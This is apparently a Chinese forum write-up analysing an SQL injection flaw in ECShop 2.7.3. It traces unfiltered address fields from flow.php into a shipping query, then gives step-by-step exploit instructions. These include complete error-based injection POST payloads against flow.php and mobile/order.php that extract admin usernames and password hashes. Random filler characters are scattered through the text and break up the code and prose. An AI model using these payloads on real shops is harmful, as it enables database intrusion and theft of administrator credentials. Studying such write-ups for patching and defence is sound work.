前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。8 a0 ~, j9 }( f
1 D1 l O+ }0 i# V7 {, R 漏洞关键文件:. ]2 v9 \; F9 I9 } C. I; [$ j% o
8 W! I' F6 N; d /includes/lib_order.php0 _5 s8 B, p! f/ k/ D$ N' `- b" T
3 a1 P& d0 k' H5 C$ R7 b 关键函数:" L D- u5 Q5 v7 g4 ]9 |
, l: T+ i8 [3 m4 F6 n
; {) b9 r6 M& }7 c
8 |& R2 a0 E' v. O01 function available_shipping_list($region_id_list)
1 T" T% i6 {* t; ^
- {0 |& u9 r4 S0 j$ s& h02 {
$ J7 B# ^) A4 V# I. S0 B0 ^( F- Z: Y" {
03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
# ~' L5 X% l {: ?/ o! K% S6 K6 B8 D8 T& x5 Q" H$ P
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
9 P* c! `7 V- k, \# A9 l' a4 K2 d5 a# \) D- I S
05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . 1 G" P, P { I; s, p3 V, W
6 S* @4 _. c! V06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
9 q1 A; f5 r9 v. f( v, b
0 N( E7 n5 d& ~07 $GLOBALS['ecs']->table('area_region') . ' AS r '. 4 c# W# N- b& }& {
$ d9 U. A6 n" c) ` R" y08 'WHERE r.region_id ' . db_create_in($region_id_list) .
! j8 F: q5 ]" g& p" ` ~5 X8 c& p0 d( I+ x+ ?
09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
$ G5 P. _1 N0 r4 b) w2 Q2 N X
# ^: E& h- E. L! V/ R l10
1 D2 h; y& ~2 K, c
7 Y+ S1 h8 j- ]* m" R# _: c11 return $GLOBALS['db']->getAll($sql); - R$ o, V, o1 U
' s. R- I5 E7 R# ~) k% O
12 }
6 r' }9 Q, b- E. F* [1 S/ V) p" W6 g* K8 c* Q' m3 E, y
显然对传入的参数没有任何过滤就带入了查询语句。 l9 t' r( H- m# D) f- S; l8 M
& V4 a4 }; Z) h
下面我们追踪这个函数在flow.php中:6 H4 o/ {) G9 A4 q% N2 l+ G
第531行: , a L% T" Q, v: p; W& Z
# B+ N) X5 f; H4 l& _" r1 $shipping_list = available_shipping_list($region);
* Q2 r7 R3 Z9 Y3 o( b1 W7 l4 ~) {- \
' \3 s- P+ s# A# E* p7 ]) S7 P1 X! T2 R
! ?2 Z& }/ I* b! n7 W5 T0 R' J7 h
" T: S+ y3 H% f' S& M& L
再对传入变量进行追踪:
0 ?3 n9 C- r$ T& m, t$ l% L0 \' h, {5 o" G; |9 C& H
第530行: $ _- f' _/ D1 i1 P/ L6 U. r
0 T# u# j) H5 {0 {, a
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); 2 I# W2 O+ h2 t# K
* y2 i7 F- v4 a. S) r6 e
3 t. t$ ~: x/ P- j' c4 r% X6 u& {% k% l. w; i8 _6 \ S+ ?
! q2 {, Z# j5 ^/ X* F$ s2 ]
/ N) \% }( c. N( p" ]6 z4 r4 u第473行:
5 p& |3 ?' R/ f: M' {6 v! @1 X$ x& |* V& M
1 $consignee = get_consignee($_SESSION['user_id']);
' ^- D" V& E4 l q+ Q2 E( e
; I* q6 n/ B* w8 i; T+ \7 _; s到了一个关键函数:
, V' W3 Z8 b9 |+ l/ P8 ?1 u2 ?! }, z. S) a7 W* A5 `& T
/includes/lib_order.php
) G* g+ E L5 F8 Y9 v A+ D) d5 k( d9 o/ R( L1 R6 r$ I
" V* u, F9 W8 O2 P' D' i7 y# P
3 |( P% K* B E, ]% U
7 e7 J N8 V1 Y' k9 K0 N& p( c" A8 E9 {" m0 U# R1 D* V
01 function get_consignee($user_id) % {( [2 t0 T" B8 M. a. g, P J$ ?7 k* v
( J3 D% }" |2 O2 `2 r4 b& r! [% T
02 {
& l) \# D9 O( P9 ]
" ?9 j- J4 ?& [& |, o9 u03 if (isset($_SESSION['flow_consignee'])) : Q6 R5 c+ e; @; r8 t. n
$ q2 p v! J1 M7 z04 {
! A9 ]; u" {* m+ z, ^. d" V3 R9 m1 W: [% I# \
05 /* 如果存在session,则直接返回session中的收货人信息 */
, w' H% h y$ P# ~5 f r0 r! z
8 A* q# g0 Y; J6 ^ Z06 9 j* Z' i0 Y0 Y6 P+ ~8 m
1 Q; z9 e A. }, c1 c& G07 return $_SESSION['flow_consignee']; 6 m* k. L$ O/ D+ I6 i: f1 @
6 E, ^* P% @7 u6 [9 z6 F* ^08 } 2 U- R, H5 G. u/ M2 X
7 s6 U" f: `: `0 n
09 else
% a9 \) V! Z+ J+ O2 X5 N
) U7 @% _$ @* _6 `2 ^10 { / J( ~ q( p! U5 H4 U
- x' P% c7 y% e p8 e
11 /* 如果不存在,则取得用户的默认收货人信息 */ . m3 q0 E6 m# B# A
5 P- C! Q& c: Z9 K) p# f12 $arr = array();
$ A# h+ Q! {" h F* u* W3 p& r1 I6 G0 j+ ~6 L
13 4 B: O' U( L" o4 D! {
3 O" H1 V, k' Y& Y( z) ]
14 if ($user_id > 0) s5 E6 I6 \: x/ i7 |" Q' R
- z3 M* L/ S( m) k/ r' w9 g7 x15 { 2 v! J( K3 X5 K9 X- N b% @. J
7 m1 B$ y5 X; E16 /* 取默认地址 */
* q( F2 ~7 l$ C4 B( y" Q$ ~# L2 o. t
17 $sql = "SELECT ua.*".
" Y# B& r& j4 Z7 y3 G; T' ~0 B. U6 U# C" G3 k; ?5 @
18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. & L4 S' D, F- r) r
. g- d6 K+ G: i9 _19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; ) o- G8 F% E' a. ~
( c2 ~0 c4 U! k% u
20 3 z" y9 v- l+ C1 @+ c& ]
Q2 ~7 }% U j$ O6 ~; m! a21 $arr = $GLOBALS['db']->getRow($sql); 2 C# Z" z3 h1 y9 S% _+ c! y
. ~# w6 |0 U$ m7 _/ w22 }
, x* O K+ j4 X+ r0 d6 C
0 W1 c3 V6 Y* t! j) s23
5 m+ \' z0 Y p O) i( a8 A5 m2 t* M' _
24 return $arr;
1 b# g G! }# h' ~/ O) ?8 p0 K \. o; o; W, c
25 } 2 ?, ~( s' v. X% P
9 I# q# u% q% O% e$ p5 M5 y26 } 5 r5 v# p; }! |; L2 x0 N
! e: U) z% G" v& l) r显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
?0 }. _) b2 d$ T
0 V8 ^* |, ~# j8 ?9 H- @' E9 z . h# r& a' H( D1 R
5 i, ^" c1 \* A2 {关键点:7 J% n* f/ R5 E2 E8 g0 {
H* P5 i9 z& Z$ K4 _# w: c# O第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
- @' Q# X+ j N- P+ K/ K0 e- o! C' e- m# m# f
这里对传入参数反转义存入$_SESSION中。
9 |! ?4 X6 a# X( H3 r3 k2 @5 d/ I% {2 Y- A- P3 K& d" g4 D% [" G8 H
2 K( y5 u/ t, U7 h6 u
3 [9 W1 E% _ e# [& u" [8 Y
然后看下:' D9 }2 `3 b/ x M0 B8 S$ f( y9 O
3 P+ t) M7 r# A/ e+ D9 \. d" Q
9 E$ q& \6 U2 Q: ]
, F$ j% i' }- M1 b) \: w9 n% g3 r 0 P" ?$ p4 R; K: z! P: J, P
1 @6 i0 f& b( m w
01 $consignee = array(
3 D- L/ T% P0 ~& h! W& q- N$ N! R5 L, d1 N* C% P% |
02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']), * X }4 l2 m! |+ f, i
7 e, y. ]& M. w5 A" F
03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']), 0 {# [% C8 K5 X/ `- v
5 k" |( \+ ]" s$ \: Q& p7 h04 'country' => empty($_POST['country']) ? '' _POST['country'],
9 b; a5 e- N1 H- w! U0 r5 o. z: X/ z! e# t# n+ ^4 _
05 'province' => empty($_POST['province']) ? '' _POST['province'],
2 i* u6 K; B. {! K _# K" n# x8 J* q7 g/ F
06 'city' => empty($_POST['city']) ? '' _POST['city'], & L( a1 ~# `) h) T% R! O
9 \. y$ F+ H* M2 e07 'district' => empty($_POST['district']) ? '' _POST['district'],
& }5 P& f9 \/ S8 q# H4 _6 e T9 j4 O# R$ B% e7 s
08 'email' => empty($_POST['email']) ? '' _POST['email'],
+ D) z, J3 e7 }- M
% R9 @ }+ m# Y6 ^$ e! W09 'address' => empty($_POST['address']) ? '' _POST['address'], 9 x! `8 X* c( {- N2 e
4 l! \6 p1 y% ]: K- l& Y3 Q3 y# Y
10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])),
4 t% E3 h5 E5 N( B- M- Y2 n0 i/ ~4 Q$ N* Z9 @" d+ N$ u' \
11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])),
1 o, f( o+ y7 P! N
7 k- H/ ]- ]" u% k12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])),
3 x" E6 C% V Y l( B
' |7 [& b6 n# S, g' L/ A13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
/ ~1 j1 ^% _: z# ^& Q$ E, h, A
) _* r- ^0 r6 f: \% a" F" q14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'], ' @4 | p" X7 ?/ N0 [8 w& B v
& e2 f0 ?8 J7 L9 t2 r3 M8 @
15 );
6 B7 _; h8 B+ A
' Z( K, ~& k% e# I& I好了注入就这样出现了。9 p9 I" l( M6 ^5 i8 I6 ]0 H8 K
$ a2 ~/ M; z b- n7 _! D==================
0 s0 x' ^8 z8 M8 j# u) v' c9 T4 f# H# o5 y Y! ~+ m' O+ Y
注入测试:
! `- l4 j. k8 C
$ ^6 N# F; y& }4 G% q环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)2 X1 ]( D2 k8 ~6 K% D
/ A6 ?* ^5 J9 ~测试程序:ECShop_V2.7.3_UTF8_release1106) [# k- p! h1 z/ }# T; r
! J# N+ C9 A# r9 K
1 A& E% Z8 T1 q, L) y% i
9 u) m+ H% G" p9 ?. b6 `% `; I1.首先需要点击一个商品加入购物车) m/ _3 H; g' v' q% I8 N% e3 q
4 _0 ^: q& W& W2.注册一个会员帐号
4 F: c- B: \& S1 N1 U. n) W
8 E* f9 B6 z. @" @# K4 L3.post提交数据( P" ^; g' c0 }, B
; R: I6 D$ H' r' D
2 S* a: i) D1 M3 e- @
( |9 E! ~' _$ Z7 z7 D1 http://127.0.0.1/ecshop/flow.php
D' ~! N ^# j8 f: @" |: q) }5 F& D* x3 N0 {+ E/ s0 @) O
2 ; i) a/ ^3 Z7 G$ [6 o) B
* v0 t2 m) A4 S8 v3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
3 d) k5 S+ h2 a5 c5 O, g! z+ }, n2 G举一反三,我们根据这个漏洞我们可以继续深入挖掘:' W0 Q% v, y* k# E0 j6 |- t- I
8 u l: m6 C1 y9 H我们搜寻关键函数function available_shipping_list()
* A, a: N& ]0 U5 P& `7 [8 P- K1 I8 W; D
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
/ C: U& J3 J: i. ]; e N7 r$ o% N
利用exp:
5 P& B/ |9 m; X
4 S9 L7 N# o2 a7 R3 z. s1.点击一个商品,点击购买商标
: S# r# O: M1 ~8 Y/ K5 {5 b, }( p& M( Z
2.登录会员帐号+ A1 ?: f7 z. o7 T) R
' w& L0 y! Y3 g9 c3 X. O, k
3.post提交:0 h( ]' T% y! n% o
6 k* s& V8 \% W) \4 }+ e$ b+ @http://127.0.0.1/ecshop/mobile/order.php% z3 u) W7 F2 T9 ~4 j& d* v+ `
, T& e$ `/ _; Y# W- ~ ! P, J" ~& [, J$ o( C/ X( g: u
) H% g+ }2 T, _! a: F( }country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=+ ?- u0 \9 O! t# [5 a
- g1 W" p. s. G" N# Q |